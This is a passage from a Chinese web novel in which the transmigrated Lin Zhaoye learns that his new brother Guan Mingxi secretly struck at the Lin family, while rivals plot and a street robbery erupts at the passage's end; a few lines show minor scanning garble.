原主被林家赶出家门这么大的事，关明熙只要有心关注，肯定第一时间就知道了。原主对这种权利争斗有些迟钝，也来不及调查，但对关明熙来说就只是想不想的事“说不定就是这样。”宁归川好像一下子就被说服了，"听说小关总为人就是很正派，还有点古板，估计看不顺眼这种私生子在外面大出风,头的风气。''也有可能他以前也被这种私生子排挤过，所以对这种事特别深恶痛绝。”宁归川顿了顿，又小小声说:“我听我爸妈说，小关总他亲爸就是在他很小的时候跟人私奔到国外了，到现在都没回来，估计是有点触景生情。’林照夜眸色微动:“那他妈妈呢?"宁归川:“好像也跟人跑了。” 林照夜: 宁归川咂了咂嘴:“这么一看，小关总也挺惨的啊，爹不疼娘不爱的，还被亲妈丢在外面，幸亏还有关老爷子记挂着他，力排众议把人接回关家。 说到这里，宁归川忍不住看了林照夜一眼。 因为照这么看，林照夜的情况好像也差不多。 他甚至比小关总更惨一点，没有一个偏心他还大权在握的亲爷爷, 被林家赶出来之后，他就完全成了无依无靠的孤家寡人了。 林照夜只当做没看到他怜悯的目光，继续打听消息:“那他是怎么被找回来的?" 宁归川摇了摇头:“这我就不太清楚了，也没听人提起过，只知道人好像是关老爷子接回去的。” 外界关于小关总的传闻很多，但几乎没有关于他父母的。 无论是亲生父母，还是养父母，消息都被关家瞒得死死的。 就好像这人是从石头缝里蹦出来似的。 要不是原主很早就调查过生母的事，恐怕也很难想象到他们之间还有这一层隐秘的联系。 宁归川知道的也就这么多，有些更隐秘的消息他父母也不会多嘴告诉他，大概是知道这个儿子嘴上是个没把门的。 他对小关总的事兴趣也没有那么深，只需要知道林承宇倒霉了这件事就够了。 等着吧，这事儿肯定不会这么简单就完了的，之后有进展我再跟你说。 宁归川拍了拍身上落的瓜子壳，感觉嗑瓜子磕的嘴干，但转头看了眼旁边只浅尝了一口的奶茶，脸色又有点扭曲。 “你一个大男人喝什么奶茶，走，哥请你喝酒。 “我有个朋友在附近开了家酒吧，正好带你去认认人。 宁归川自来熟地拍拍林照夜的肩: 他觉得自己是好意。 林照夜现在这情况实在可怜。 要是放在以前他只会嘲笑他，但现在这位可是他的首席恋爱军师，不能亏待了。 不然下次他不给自己出主意了怎么办。 可惜林照夜并不想接受这份好意，抓着手机又躺回去:“宁少爷自己去玩吧，我就不凑这个热闹了。" “你怕丢脸?"宁归川跟他保证，“都是我在这边私下里认识的朋友，跟林家没关系，再说有哥在，还能让你当着我的面被人欺负了? 林照夜抬头给了他一个无语的眼神, 宁大少爷不就是跟原主作对最欢的那个? 宁归川也反应过来，有点理亏地模了摸鼻子，轻咳了一声:“此一时彼一时嘛，再说就算是之前跟你作对，我也没喊人过来一起针对你啊，咱们之间的私人恩怨本来就不牵扯其他人。 这倒是实话。 原主和宁归川身边都各自围了一群小弟，但任凭两个当事人斗成斗鸡眼，无论哪一方吃亏，都没喊过小弟助阵 纯纯私人恩怨，摇人就多少有点不要脸面了。 林照夜倒是不怀疑宁大少爷在这方面的人品，耐着性子解释了一句:“我现在戒酒，也不去酒吧了。" 宁归川不能理解:“为什么?打击太深了?那出去喝一杯聊几句发泄一下不是更好，一直憋在心里早晚会把自己憋成心理变态的。 林照夜试图拍开他的手，找了个最简洁的理由:“我哥不让我去。“ 宁归川惊讶:“你哪来的哥?你之前不是独生子吗?不会是林家- 他顿住。 那俩私生子就林承宇比林照夜大。 但刚刚他俩还一块对着林承宇被桶这事儿进行了一番幸灾乐祸发言，林照夜怎么也不可能认他当哥啊。 林照夜打断他:“刚从外面认的。" 宁归川是一点也没多想。 又或者说他想了，但不知道想到了哪条岔路上去，脸色变了又变，都脱不开同情怜悯的底色 甚至还有几分恨铁不成钢。 “你认的这什么野哥，怎么还管你这个?不会是出门跟谁玩还要跟他报备吧? 林照夜看了宁归川几眼，点头:“你的话，是要的。 宁归川完全没意识到自己被嘲讽了，满脸震撼，脱口而出:“你这是认了个野哥，还是给自己认了个野爹啊? 林照夜: “ 宁归川:“. 可能是反应过来一不小心又戳到了林照夜的痛处，宁归川自觉沉默了片刻，又轻咳了一声，找补道:“不去酒吧，只吃饭行不行?我请客。 林照夜迟疑了那么一下下。 川看4来了干暗绕到柜会店"丰7不会山屯后他还顺手捏了下林照夜的肩膀，更确认了自己的猜想，脸上的同情都快溢出来了。林照夜:". 这人是真烦啊。 不管当对头还是“朋友”，都挺烦人的。 还是趁早绝交吧。 可惜宁少爷向来是个自说自话的，似乎还有健身的习惯，一身肌肉邦邦硬 而林照夜向来是重度脑力工作者，简单来说身体素质没有那么……健壮，宁归川轻而易举地就把他从柜台后面薅出来，拉拉扯扯地往门外走去。 "等等，我先发个消息——”林照夜被迫妥协，只能空出一只手来打字。 “就这一会儿还报备?不会连三餐都要你陪着一起吃吧，要我说你年纪轻轻有手有脚，回头哥给你介绍点资源人脉，保管叫你能硬气起来 宁归川的声音在跨出铺子大门后的某一瞬间夏然而止，磕巴了一下叫人:“关、关总?" 手上拉扯着林照夜的力道不自觉的一松。 前面就是台阶，林照夜因为惯性一脚踩空，差点摔下去。 宁归川脸上闪过惊恐，再伸手的时候就知道自己动作慢了。 他下意识闭上眼睛，只留了一条缝默默观察，满脸不忍直视 然而预想中的落地声并没有响起。 关明熙主动往这边跨了一步，伸手一拦，林照夜直接一头撞进他怀里。 “咚”的一声闷响。 宁归川满脸绝望地闭紧了眼睛，再偷摸睁开的时候林照夜已经主动退开了 他微不可查的松了一口气——还好没有出现更尴尬的场面, 然后就见林照夜捂着鼻子眼尾泛红，眼泪汪汪，瓮声瓮气地感叹:“大哥你这胸可真硬啊。 关明熙: 宁归川:“".” 林照夜你小子胆子也是真大啊。 竟然连小关总都敢调戏! 宁归川满脸震撼，却又不敢开口，只能拼命给林照夜使服色。 可惜那边的两人都没有注意到他的眼神。 林照夜那下撞的不轻，生理性的泪水完全不受控制就飚了出来 关明熙看得心头一紧，拉开他的手看了看:“撞哪儿了?" 林照夜用力眨了眨眼:“没事，就是正撞上位置了，不怎么痛，缓缓就行。” 他脸上也没什么忍痛的表情。 林照夜顺手就举起手机，给他看刚刚发给他的消息:“宁少爷说要请我吃饭。" 关明熙抬头看向宁归川，问:“去哪儿吃?" 他的语气其实挺温和的，面上也没有什么盛气凌人的姿态，相反表现得还挺内敛的。 就像是街坊邻里，碰巧在路上撞见了停下来打声招呼。 佀 宁归川就是莫名生出了一种……在楼下喊同学逃课去网吧，结果被家长从窗户里抓了个正着的坐立难安感. “清、清和轩。”宁归川结结巴巴地回答。 说完看看林照夜，又看看关明熙——他没敢多看小关总，只好又去看林照夜:“你、你们认识啊? 林照夜的声音还有点瓮声瓮气:“对，就我刚认的野爹。" 宁归川: 关明熙: 21、21 最后宁归川请的这顿饭还是没吃成， 硬着头皮跟关明熙打了招呼之后,宁归川就接了个电话说公司里有急事，然后就脚底一抹油地溜了，只说下次再约。 那落荒而逃的架势好像耗子见了猫。 关明熙望着他离去的背影沉默片刻，转回头看林照夜,语气幽幽:“你们又背着我干了什么?" 林照夜觉得有点冤:“…有没有一种可能,他这不是心虚,只是单纯地怕你?" 关明熙:"" 林照夜没忍住笑了一声。 他也没想到宁归川反应这么大,唔，下次可以考虑再把关明熙搬出来治他。 “可惜没蹭到清和轩的饭，听说是N市的一大招牌呢。 “炒作出来的网红店而已,你要是感兴趣下次再带你去。”关明熙说道，“今天先回去吃。 “哥你不会就是来喊我回家吃饭的吧?" 林照夜随口一问,没想到关明熙真的点头了。 顺路过来看看你在这边忙什么。等会儿吃完饭带你去医院复査,所以中午要吃的稍微清淡一点。"关明熙说话间就定下了下午的安排，“先回去再说。 林照夜关了铺子的门,转身跟上去问:“你今天不上班?" 关明熙道:“临时空了半天时间出来。 原本是要去郊区外的工厂，结果那边临时出了点问题要停工检修,关明熙安排好人手之后，剩下的时间就空出来。 按照以往一个人时候的习惯,他要么回家补觉, 要么就回公司把能提前干的工作干了。 但在回公司的路上,他想起家里还有个林照夜。 于是就问了汤助理地址，叫司机转道过来找人。 “我觉得我最近恢复的不错。”林照夜说道，这也是他没想起来自己还要去医院复查的原因之一,。 “其实我可以自己去医院的，哥你最近加班应该很累了吧，难得空出时间还是在家好好休息一下。 “亲眼看到具体的检查报告我才能放心。”关明熙毫不掩饰对他的不信任。 林照夜回想起上次进医院时那糟糕的检查结果，默默把剩下的话咽了回去。 回去依旧是关明熙做饭。 林照夜倒是想帮忙,但刚进厨房就被关明熙给赶出去了，他留在里面完全是拖后腿。 林照夜只好在外面找点别的事干。 关明熙端着菜出来的时候，就见林照夜已经十分积极地把客厅收拾了一遍，这会儿正拿着抹布擦拭电视机的后盖， “你今天怎么这么积极?”关明熙甚至觉得林照夜今天表现的有点狗腿了。 他打量了林照夜好几眼，道:“有什么事就直说。 “就是. …”林照夜难得有点吞吞吐吐，“林家的事 “你听说林承宇的事了?”关明熙很干脆地承认道，“是我干的。 真是理直气壮得令人羡慕. 林照夜震惊之余也感觉好像都在意料之中，只是还有点不解:“你是什么时候.” “就在你住院那段时间。”关明熙说道. 实际去调查那些人的把柄的时候更早，只是直到林照夜落水之前，他都没准备动手做什么。 以林照夜之前表现出来的性格脾性来说，关明熙就算真的为他出了气，他也未必领情。 关明熙是因为养母这层关系才照顾这个便宜弟弟，而不是要故意给自己找气受 最低限度的“照顾”就是保证他好好活着就够了。 在医院跟林照夜有过短暂的接触相处之后，关明熙就叫人去接触林家那些人身边的人了。 “我还以为你要给我留着”林照夜在医院的时候就跟关明熙提过，他想自己把那些人拉下来。 最近差不多适应了这边的环境，林照夜刚抽出空，正准备去给林家添点乱。 结果什么都还没来得及做，林承宇就被捅了。 "我不是把贺修远和聂潮汐给你留着了吗。"关明熙看了他一眼，顿了顿，问，“你知不知道那两个私生子才是最希望你彻底消失的人?" 林照夜点头:“知道。 "那是什么让你产生了错觉，认为我明知道他们最盼着你死甚至可能已经在暗中动手，却放任不管，等着看你掉进他们挖的坑里?”关明熙语气淡淡地反问。 林照夜低下头没说话。 他不是不懂关明熙话里的意思。 相反，从刚接收完原主的记忆的那一刻，他就已经敏锐地意识到，对他威胁性最大的其实不是贺修远和聂潮汐，而是林家。 林家那两个私生子和他是摆在明面上的竞争关系。 即便原主成了输家，也不意味着他们以后还能和平共处因为林父横插一脚，他们已经是不死不休地仇敌了。甚至林父这个父亲，对于原主来说其实才是最大的威胁他的态度太不同寻常了。林照夜之前对林家的事表现得没那么上心，是因为原主被赶出去的事闹得实在太大了。原主前脚刚被赶出家门，后脚就出事，无论谁都会联想到私生子头上去。他不知道私生子秉性如何，是不是真的会愚蠢到这种地步，但他了解林父。林父是个很要面子的人从他夺回原主手上不多的股份，都要通过诱骗迫使他“自愿”交回，还要赶在他“犯错”之后才突然发难就能看出来，他并不愿意背负上苛待儿子的名声在原主记忆里，明明和这个亲生父亲相处不多，更没有什么深厚的父子情可言，然而在外人眼中，他却始终都是一个宠溺儿子的好父亲。所以即便他们真的恨原主恨得要死，也不会赶在这时候对他做什么。至少不会亲手做什么就算私生子真的蠢，林父既然肯愿意为他们付出那么多代价造势，也必然会在背后耳提面命叫他们收敛。之前那一个多月里，对原主落井下石的人里也确实没有出现过和林家人相关的人。大部分都是贺修远的手笔。林照夜并没有天真到凭借这些推断，就笃定林家一定不会对他做什么。相反，他私心也觉得尽快斩草除根才能最大限度保证自己的安全。 但斩草除根的前提是，他有这个能力。 否则就是以卵击石，打草惊蛇。得了关明熙的庇佑已经是意外之喜，林照夜之前在医院那么说，除了真的想亲手替原主报复回去之外，便是开不了请关明熙帮忙的口。林家大小算是个豪门，在A市也有几代累积，虽然比不上关家，但也不是那么容易就能扳倒的。抛开林照夜这个私人因素之外，关家和林家其实井水不犯河水。如果这么公然跳出来宣战，就算把林家斗倒了，关家也得不到多少好处。对关明熙来说更是吃力不讨好。林照夜就是看得太清楚，才会对这件事感到意外，但他的头低得还不够快，关明熙看到他脸上的表情，瞬间就反应过来他不是心大，而是单纯地没相信过自己会这样帮他!“你是不是觉得我把你带在身边，给你提供住处，给你发点零花钱就算仁至义尽，对得起我们之间那点关系了?"".……”林照夜头埋得更低了，像是被吓到了，不知道该怎么接话。但这也代表了某种默认的意味。关明熙心头一阵无名火起，也微微低头看着林照夜的发顶，默然片刻，火气又慢慢消下去。这片刻功夫，他脑海里闪过很多东西，最后竟通通变成了无奈和心软关明熙是说到做到，既然认了这个弟弟，又把他带在身边，早在允许他踏足自己的私人领域的时候，他就已经把这个弟弟当成自己人来看了。他不知道其他从小一同长大的血亲兄弟是如何相处的，有时候也很难生出“自己多了个弟弟”的实感。但对他来说，“自己人”和“外人”就是一条清晰分明的界限。林照夜不论是给他当弟弟还是当儿子，哪怕只是朋友，只要已经被纳入那个界限之内，关明熙自然会不惜一切代价去保护他,答应留着贺修远和聂潮汐，纯粹是因为这两人离了身后的靠山就掀不起什么风浪。林照夜人在关明熙眼皮子底下，那两个废物就不可能动得了他。但林家不行。林家上至林父，下至情人秘书，全都不是省油的灯。他们一定会不择手段地继续针对林照夜。关明熙看清楚这一点就不可能留下什么隐思，自然是直接先下手为强,林承宇这件事，就只是个开始。关明熙有点气林照夜不信任自己，但转念想想，，换他在林照夜的位置，也很难立刻就对刚认识不到两个月的陌生人付出过多的信任和期待。即便这个陌生人说要给他当哥-几个月前当众将林照夜赶出家门的还是他亲爹呢。患得患失、抱有警惕太正常了。不能怪他。相反该怪自己做得不够。头明熙自己就把自己给哄好了，那点火气烧尽了，最后反倒剩了点心疼和愧疚。“你的母亲自你出生之后就没有照顾过你一天，你就算怨恨她也是正常的——我知道你没有。关明熙摸了摸林照夜的脑袋，又顺手在他想抬头反驳的时候往下按了按:“先听我说。林照夜:"…“不论如何，她对你都没有尽到过一点母亲的责任，这是她天然亏欠你的。"“但她对我来说就是再生父母，如果没有她，就没有现在还活着的我，我欠她不止一条性命。"如果你还不习惯有一个哥哥照顾，可以把这些当做你母亲对你的弥补，只不过暂时由我来代替她偿还。"在外面受了欺负回去告诉家长，家长就有保护他们并且为他们出头的义务和责任——你这样想就可以了。说到最后，关明熙的语气已经很温和了。就像是面对牙牙学语懵懵懂懂的小孩子，恨不得把那些孩童难以理解的话掰碎了再教给他。说到这份上再不理解，那就有点过分了。况且关明熙已经用实际行动证明了，他对林照夜的关心照顾并不仅仅摆在嘴上或者物质上，而是真的默默付诸了行动在保护他,在觉察到这件事的时候，林照夜心底其实就颇受触动。这位半路出现的“哥哥”是真正把自己放在了兄长的位置上，将弟弟纳入了保护羽翼之下但感动之余，听着关明熙那些推心置腹的话，林照夜脸色又逐渐微妙起来。他抬起重获自由的脑袋看了关明熙好几眼，乖乖点头。欲言又止的话最终咽回去他怎么感觉，他认的好像不是哥，而真的是爹呢?下午关明熙带林照夜去了一趟医院有些抽血之类的项目得隔天早上才能做，关明熙主要是先带林照夜来给医生看看，认认人这位赵医生是关明熙的高中同学。关明煕毫不掩饰和赵医生的熟稔态度，乖乖跟在后面的林照夜也秒懂他隐含的警告——要是下次再把自己折腾到进医院的地步，他马上就会知道他所有检查结果。好在经过赵医生的初步观察，林照夜现在健康状况还算良好。倒是一旁陪同的关明熙冷不丁被点了名。“你弟弟看着身体不错，但你看起来好像不太好。"赵医生拿起桌上的镜子递过去，“你这是多久没好好睡觉了?"关明熙:林照夜:“噗。"关明熙扫了眼镜子，他的黑眼圈不算很重，但皮肤白，就衬托得很明显，“最近事情比较多。”关明熙目光幽幽，把镜子扣回去，“最迟下周末就可以休息了。"赵医生点点头:“你自己心里有数就好，就算是为了多放几天假也不能这么拼。对了，睡得少就别再搞什么运动锻炼了，先把觉补足了再说……"赵医生说着说着就开始科普熬夜的种种危害。然后又是饮食不规律可能造成的恶果。关明熙:“啧，差点忘了这是个话痨来着。最后是林照夜连连点头，表示一定谨遵医嘱:“等回去我一定督促我哥好好睡觉，按时吃饭。赵医生这才心满意足地点点头，转头对关明熙感说:“你这弟弟还挺关心你的。林照夜满脸谦逊:“我哥对我太好了，我当然要关心他，我们是兄弟嘛，应该的。关明熙扫了他一眼，笑了一声:“是啊。林照夜摸摸鼻子，低头望了望地板砖缝，莫名生出那么一丢丢的心虚。等到从医院回去，时间还早，林照夜决定稍微表现一下自己的关心和感谢。“哥、哥，这些天加班辛苦了，我给你按摩一下吧。林照夜拍拍沙发，示意关明熙坐过去。副积极狗腿样看得关明熙有点好笑，但也看出来他因为之前的谈话有点不好意思，大概还有些感激以及一丢丢的愧疚。关明熙反应过来的时候，已经很自觉地走了过去林照夜接过他的外套放到一边，然后开始卷自己的袖子,关明熙在沙发边坐下来，漫不经心地想着这还真像是小学的时候老师布置作业，让学生回去给父母按摩摔肩或者打洗脚水，再在周一的时候交上三百字的感恩小作文林照夜不用写小作文，但性质好像差不多。关明熙:“就当是帮他填补一下童年空白吧。后知后觉的关明熙慢慢放松身体，然后一抬头就看到林照夜的手从面前晃过去。林照夜那双手一看就是富养出来的小少爷——应该放在展柜里当艺术品，一点也不像是用来干活的。在林照夜还被允许在备菜的时候踏进厨房的时候，关明熙余光就,总忍不住往他手上瞟，洗菜的时候还好，切菜削皮他总担心他会划破手。最后菜没切成几根，反倒总惹得关明熙分神。后来关明熙偶尔几次做饭，都很有先见之明的先把人轰出厨房。这会儿坐在这里看林照夜又在撸袖子，关明熙心底又生出一点淡淡的后悔。按个肩膀应该也不至于把手指头按折了。关明熙又把话咽回去。原以为他以为林照夜只会随便按两下，消耗掉一点体力之后，也算是表达了一下心意。但等林照夜按过两下之后，好像还真像那么回事。“你还学过这个?”关明熙有点意外。“嗯，学过一点。”林照夜说道。他还真学过。特意找的很有名气的专业按摩师傅，跟着苦学了好几个月，同时还专门拜了个老中医学过穴位和针灸。当然这都是前世的事了。原主就是个十指不沾阳春水的小少爷，对于这类伺候人的手艺活儿是半点不通. 一这些就不必说给关明熙听了。 林照夜露这一手，也是真心想帮他放松一下。 关明熙毕竟还年轻，身体素质相当不错——加班那么多年，黑眼圈都比一般人浅，只是单纯疲劳过度没休息好，导致身体有点僵硬 肩颈之类的地方重点按按就行了。 关明熙闭着眼睛，忍过最初那阵酸胀感，感觉身体似乎真的松快了些。 但脑海里的疑惑却并没有因此消解。 “你之前给谁按过?聂潮汐?”关明熙想不通林照夜一个富家小少爷怎么会突然跑去学按摩，而且手法还挺熟练 林照夜闻言垂眸，玩笑似的说道:“他哪里配。" 说着就不再接茬，手指换了个位置，问:“这个力道行不行?" 关明熙“嗯”了一声，闭着眼没有再继续追问，只是心头那点淡淡的疑惑仍然挥之不去 不是为了聂潮汐，又是为了谁? 聂潮汐都不配，他以前那些狐朋狗友里面还有哪个配? 22、22 A市。 某个会所包厢内。 贺修远一手揽着聂潮汐,一手抓着酒杯，脸色阴沉地坐在沙发上喝着酒。 聂潮汐低着头，长长的碎刘海垂落下来，挡住脸颊上的红肿。 他不敢吭声,只沉默地抿着贺修远塞过来的酒。 包厢里其他人说话的音量也只能算是窃窃私语。 他们聊的正是林家最近发生的事。 傅家宴会的邀请函不好拿,能到场的都是各行各业的精英,再不然就是板上钉钉的下任继承人,长辈愿意给他们做脸撑腰带着他们亮相，傅家也不会不给这个面子。 小辈里能出席傅家宴会的不是少年英才，就是长辈极为认可看重， 在这里能接触到的人脉资源,和其他地方都不是一个量级的, 进过了傅家晚宴，出来都能给自己再镀上一层光环 听说林老爷子要带着林承宇出席傅家晚宴的时候,所有人都在感叹,林总为了这个刚认回来的儿子真是下了血本了。 这一晚之后，便不会再有人拿林承宇的私生子身份出来说事。 谁也没想到最后会是这么个结果, 林承字早上就出了院,对外宣称是不小心摔伤，林老爷子舍了一张老脸亲自出面威逼利诱,将消息尽可能地封锁起来。 也不知道林老爷子和傅家达成了什么协议，让后者暂时保持了沉默,没有主动将林家的事宣扬出去。 但想要让傅家帮忙遮掩,也是不可能的事。 消息昨晚就传了出来,圈里人不敢得罪林老爷子,流言在明面上偃旗息鼓，但私下里已经翻了好几个版本了。 最有权威性的几个当事人都保持缄默，外界的揣测便逐渐往越发离谱的方向发展。 有只往狗血感情纠葛上猜的，传说这个新的林少爷搞大了王小姐的肚子，有说他脚踏几条船翻车的,也有说王小姐为了把他绑在身边，于是当众阄了他的 也有人觉得这就是一场彻头彻尾的权利争斗，不少人煞有介事地说王小姐是前头那个被赶出林家的林少爷买通的，夹杂着零星林氏集团高管看不顺眼私生子继位于是设局陷害的传闻 流言的共识都是林承宇做了什么对不起王小姐的事 不然王氏集团刚搭上林家的关系，王小姐一个好好的千金大小姐不当，干什么非要把自己送到局子里去? 众目睽睽之下行凶，只能说是有无法和解的深仇大恨了。 不过比起始乱终弃的情感八卦，更多人在意的还是林家前继承人以及现继承人之间的内斗大戏。 林照夜销声匿迹小两个月，又一次在A市圈子里刷足了存在感。 很多人后知后觉地去探究——这位前林少爷到哪里去了? 这也是贺修远以及他身边的跟班想知道的事， 贺父也参加了傅家的晚宴，恰巧离得还不远，当晚就带回了一手的消息 也是最接近真相的一版。 就和外面多数人一样，他们第一反应都是这事儿和林照夜脱不了干系。 泉因九心，从李于于倒每，可床可别定体照仅了 其次便是私生子里面那个弟弟。 但林弟弟今年才十七岁，人还在读高中，距离大学毕业能进入林氏工作少说还有三四年时间。 相较于林照夜这个直接受害者，林弟弟的动机和嫌疑不能说没有，只能说少很多 贺修远的跟班没少参与对林照夜的围追堵截，对于这些传闻反应就更强烈一些 有人不以为意:“只是巧合吧，他都被赶出林家了，哪还有那么大本事。 “就是。他当初还是林少爷呢都没斗得过那个私生子，这才过去多久，哪能一下子有那么大长进? 有人欲言又止:“万一…万一他又攀上别的什么靠山了呢?" 此话一出，正戳中某些人的心事。 毕竟之前那一个月，他们可对林照夜可是极尽落井下石之事，什么羞辱的话都是张口就来, 要是林照夜真攀上什么靠山，而且这个靠山还有能力给林承宇致命一击，等回过头来是不是就轮到他们了? 其中一个戴眼镜的向来沉默，坐在角落嗫嚅了几下嘴唇，最终忍不住在这短暂的静默中开口:“我听说……这件事里面有关家的影子。" 包厢里的气氛陡然一沉。 有人小声嘀咕，也像是安慰自己:“就林照夜那样的，怎么可能…” 眼镜男深吸了一口气，又轻声补充:“听说林照夜去N市了。" 旁边的人脱口而出:“N市不是那个小关总常驻的地方吗?” “只是巧合吧。”其他人反驳。 但说完他们不约而同地沉默下来，转头看向他们当中的主心骨:“远哥" 贺修远的脸色在晦暗灯光下面更显得阴晴不定。 他盯着手里的酒杯，指尖不自觉地用力，像是在看什么深恶痛绝的仇敌。 聂潮汐紧咬着唇咽下一声痛呼，死死掐着大腿让自己不要出声，眼神闪烁着，只将头埋得更低。 听着那些人的猜测讨论，他始终一言不发。 贺修远最终开口下了定论:“他要真有能让关明熙另眼相看的本事，怎么会被算计成那样?" 就算真搭上点关系，估计也就是利益交换狐假虎威而已。 早晚会透支干净。 况且，林照夜也没有对聂潮汐下手。 从这次对付林承宇的手段来看，如果真的和他有关，要想封杀聂潮汐，不过就是一句话的事 结果并没有。 聂潮汐最近资源有所下滑，掉了好几个重要的代言和角色，网上黑料也逐渐有点压不住 但也没有被赶尽杀绝。 不过就是贺修远对他没那么上心，维持不住过去的光鲜表象而已。 高兴了就甩两个资源，不高兴了就丢到一边不闻不问。 慕潮汐本就有背主的前科，贺修远对他又是这幅态度， 圈内人惯会见风,使舵， 对这位当红流量也没有过去那么上赶看了 但面上碰见了都还是客客气气的，并不像是有被人刻意针对的样子。 从这个角度看，林照夜现在的背景也没那么厉害。 再不然，就是他对这个背叛他的前任仍念着些旧情，所以才心慈手软，留有余地，就这么放过了他。 以林照夜以前对聂潮汐的痴迷来看，这也不是没可能。 贺修远脸色越发阴鸷。 猛地灌下去一杯酒之后，贺修远不知道又想到了什么，脸色忽然又缓和下来，转头又将聂潮汐揽得近了些，一副亲密无间的模样。 “过几天你是不是要去T市录综艺?" 聂潮汐捏紧了蜷缩在膝盖上的手，强忍着逐渐翻涌起来的恶心说道:“对。" 贺修远说:“我陪你一起去。 “这两天好好休息。”他摸了摸聂潮汐的脸，低声说，“「市就在N市隔壁，你说……你还有没有机会再见到他? 聂潮汐在脑子里尖叫着，不自觉地回放起贺修远几乎要掐死他时的狰狞面容。 可紧跟着脑海里又闪过综艺导演不耐烦的面容。 再听见贺修远的话，他眸光闪了闪，最后什么也没有说，只低眉顺眼地低头。 N市。 城西的铺子。 二三楼的装修进程过半，林照夜想招的助理还没影子。 又送走了一波不合适的面试人选，林照夜直接倒在躺椅上长叹了一口气，然后起身去了后面的小仓库 这套房一楼除了前面的铺子，后面还有几个房间，原先是用来当仓库的，现在堆满了各种建材。 林照夜挑了距离施工位置最远的一个小房间，改造成了临时工作间。 一排架子上放书，另一排架子上塞满各类元器件。 角落箱子里堆着布料玩偶，甚至还有一台纫机。 其中一个工作台上放着电脑和延伸屏幕，某一面屏幕常亮，连接着铺子上下的监控画面。 另一面屏幕上则在播放着最近正在热播的动画片。 林照夜仰头靠在转椅上，闭着眼睛转了几圈，发现还是没办法完全屏蔽掉楼上装修的噪音，反而眼皮子开始不断抽动。 莫名有种不太好的预感。 自从死过一次之后，林照夜就很相信自己的直觉。 正好动画片播到片尾曲，林照夜伸了个懒腰，捞起桌上没喝完的奶茶，一边掏出手机批发了几份外卖，决定上去慰问一下加班的装修工人。 以他盯过几次装修的经验来说，这个装修队操作都很规范，也没什么人摸鱼偷懒。 除了价格贵一点之外，就没什么让人操心的地方了。 林照夜到楼上转了一圈 都没发现什么问题，又抓着手机，转了转钥匙串下楼。 正好到了中午饭点，林照夜没再多想，去了附近一家面馆点了碗面。 吃完出来，外面阳光正好。 林照夜眯了眯眼睛，伸手挡了一下外面过于热烈的阳光，沿着人行道慢悠悠地往回走了一段。 走到岔路口停下来，抬头看红绿灯的时候，又被马路对面某个金光闪闪的东西闪到了眼睛。 他闭上眼睛适应了一下，才发现对面是个把头发!漂\染成浅金色的年轻人，耳朵上的耳钉、脖子上挂着的金属饰品都充斥着对眼睛的攻击性。 抛开这些时髦元素不谈，只看身材和脸无疑是个很引人瞩目的小帅哥。 是哪里来的小明星吗? 林照夜多看了两眼，莫名有种熟悉的感觉，但想不起来在哪里见过，也不是原主的熟人。 又或许是市场杂志上偶然瞥见过的模特之类的——个子也太高了。 林照夜站在马路对面，都不自觉的微微仰了一下头。 目测恐怕已经过一米九了。 跟他走在一起应该挺有压力的。 林照夜看了他几眼，视线又转向旁边的红灯。 这条街上人烟很少，红绿灯不多，间隔时间就比较长。 住在附近的人已经习惯了在没车的时候横穿马路，红绿灯几乎已经成了摆设. 但无论路上有多空旷，林照夜也一定会等到绿灯亮了再走。 对面的年轻人似乎也是如此。 走到红绿灯下面，见斑马线对面的红灯亮着，他就自觉地停了下来。 他低头看了眼手机又抬起头，看到林照夜的时候微微愣了愣，然后就扬起嘴角，露出一个灿烂的笑容。 应该是刚毕业或者快毕业的大学生。 林照夜正这么想着，忽然感觉眼皮一跳，脊背上陡然窜起一股凉意。 他猛地转头，看向不远处的三岔路口。 空旷但狭窄的马路上隐约传来一阵摩托车发动机的声音 随后就是一声女人尖锐的尖叫声。 “啊——我的包——放手—— “救、救命——抢劫啦!" 惊慌的呼救声逐渐演变成凄厉的惨叫。 摩托车从岔路口冲出来的时候，一个胖乎乎穿着朴素的女人几乎是被挂在车尾上拖出来的 因为冲向了岔路口，摩托车才不得不减缓了些速度 女人紧紧抱住鼓鼓囊囊的皮包，惊恐得涕泗横流也死活不肯松手，坐在摩托车后座上的劫匪嘴里用方言骂骂咧咧，一边试图把女人推开。 林照夜听懂了一部分， 脸色一沉 劫匪让同伴加速，开快点，把那个女人甩下去。 但没等他们加速 甚至没等他们完全拐过弯，就见摩托车忽然一个侧歪，直接摔飞出去 “——松手!”对面一道冷冽的声音传来。 “砰 摩托车直接飞向马路边，撞歪了路灯。 戴着头盔的劫匪被甩到地上，摔出两声闷响. 女人因为松手及时，一屁股坐在了马路对面的花坛里，手掌一下子就被枯萎的木枝划出几道血痕. 估计是被吓傻了还没回神，直愣愣的睁大眼睛没有反应。 被争抢的包最后落地，在空荡荡的马路上翻滚了好几圈，最后竟恰好滚到了林照夜的脚边. 然后哗啦一下，掉出一堆金项链金戒指金耳环。 包里面还有几方砚台，用泡沫包裹的茶盏，一些玉石摆件之类的东西。 林照夜看了眼地上的东西，又看了看对面。 就见对面小金毛正将那个中年女人扶起来，问她有没有事。 语气听起来温和得很，就像是个热心肠的普通大学生。 但林照夜视力很好，刚刚看得分明，是那个年轻人直接一手机砸中了开车的劫匪，又提醒女人松手，人眨眼间就冲过去了。 就算女人不松手，他应该也能去接一下。 快狠准——反应速度快得有点惊人了，胆子也大的出奇。 就好像演练过千百遍的本能一般。 不像林照夜脑子里反应得快，但身体完全跟不上。 才抬了下手的功夫，对面已经尘埃落定了。 女人刚刚反应过来发生了什么，死死抓住小金毛的胳膊，语无伦次地用方言说着什么。 小金毛满脸茫然，习惯性地赔了个笑脸，用普通话安慰了几句。 林照夜倒是听出来一些，女人正等着拿这些东西去换钱给家里人交医药费呢，没想到半路上被人给抢了。 他看了还在鸡同鸭讲的两人一眼，又低头看了一眼差一点就要滚进下水道的金戒指，俯身准备先将东西捡起来放回包里。 结果刚捡起金戒指，就听见对面一声惊叫。 "小心!" 林照夜一抬头，就见某个劫匪不知道什么时候就站了起来，摇摇晃晃地朝这边走过来 隔着裂了一半的头盔目镜看不清劫匪的表情，但从语气和动作来看，无疑是相当急躁的。 劫匪一手抓着弹\簧\刀，摇摇晃晃地走到林照夜面前，伸手做出讨要的动作。 “把东西给我!快点!" 故作的粗声粗气夹杂着几分疼痛且焦躁的喘息，听起来并不自然，更像是还没完全过青春期的少年故意压着嗓子说话。 不过那种凶悍却不是装出来的。 林照夜恰好挡在劫匪前面，手上又拿着包还没放手，劫匪就已经冲他挥舞起刀具了。 这暴躁的程度有点不太正常了。 